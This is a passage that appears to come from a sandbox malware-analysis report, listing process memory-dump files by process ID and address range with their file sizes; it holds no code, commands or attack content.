                                                                                                                • memory/2128-144-0x0000000002200000-0x0000000002202000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2152-148-0x0000000000B82000-0x0000000000B84000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2152-149-0x0000000000B84000-0x0000000000B85000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2152-145-0x0000000000B80000-0x0000000000B82000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2152-150-0x0000000000B85000-0x0000000000B87000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2336-191-0x0000023ABF850000-0x0000023ABF8C0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/2376-183-0x000001565BC20000-0x000001565BC6B000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  300KB

                                                                                                                • memory/2376-185-0x000001565C440000-0x000001565C4B0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/2536-196-0x0000018121CD0000-0x0000018121D40000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/2624-228-0x0000024DE6610000-0x0000024DE6680000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/2632-230-0x0000022E04A00000-0x0000022E04A70000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/3332-190-0x0000023E97910000-0x0000023E97980000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/3400-114-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  172KB

                                                                                                                • memory/3428-126-0x0000000000400000-0x0000000000416000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  88KB

                                                                                                                • memory/4076-123-0x0000000001640000-0x0000000001642000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/4304-178-0x0000019D339D0000-0x0000019D33A40000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  448KB

                                                                                                                • memory/4304-254-0x0000019D36100000-0x0000019D361FF000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  1020KB

                                                                                                                • memory/4400-157-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/4400-158-0x00000000008B0000-0x00000000008C2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  72KB

                                                                                                                • memory/4920-180-0x0000000004BF0000-0x0000000004C4C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  368KB

                                                                                                                • memory/4920-176-0x0000000004979000-0x0000000004A7A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  1.0MB

                                                                                                                • memory/4936-231-0x0000000004290000-0x00000000042A0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/4936-237-0x0000000004430000-0x0000000004440000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/4948-321-0x0000000006940000-0x0000000006941000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/4948-322-0x0000000006942000-0x0000000006943000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-291-0x0000000007AE0000-0x0000000007AE1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-288-0x0000000007100000-0x0000000007101000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-284-0x00000000049D0000-0x00000000049D1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-290-0x0000000007960000-0x0000000007961000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-285-0x0000000007150000-0x0000000007151000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-287-0x0000000004A72000-0x0000000004A73000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-286-0x0000000004A70000-0x0000000004A71000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-289-0x00000000079D0000-0x00000000079D1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-292-0x0000000007EB0000-0x0000000007EB1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-293-0x00000000083C0000-0x00000000083C1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5472-298-0x0000000004A73000-0x0000000004A74000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5592-315-0x00000000048C0000-0x00000000048C1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5592-316-0x00000000048C2000-0x00000000048C3000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5592-320-0x00000000048C3000-0x00000000048C4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5820-277-0x0000000000400000-0x0000000002BF4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  40.0MB

                                                                                                                • memory/5820-276-0x0000000004910000-0x00000000049A1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  580KB

                                                                                                                • memory/5860-278-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/5860-279-0x0000000000770000-0x0000000000782000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  72KB

                                                                                                                • memory/5960-308-0x00000000041E0000-0x00000000041E1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5960-309-0x00000000041E2000-0x00000000041E3000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/5960-314-0x00000000041E3000-0x00000000041E4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/6064-301-0x0000000006AD0000-0x0000000006AD1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/6064-302-0x0000000006AD2000-0x0000000006AD3000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/6064-307-0x0000000006AD3000-0x0000000006AD4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB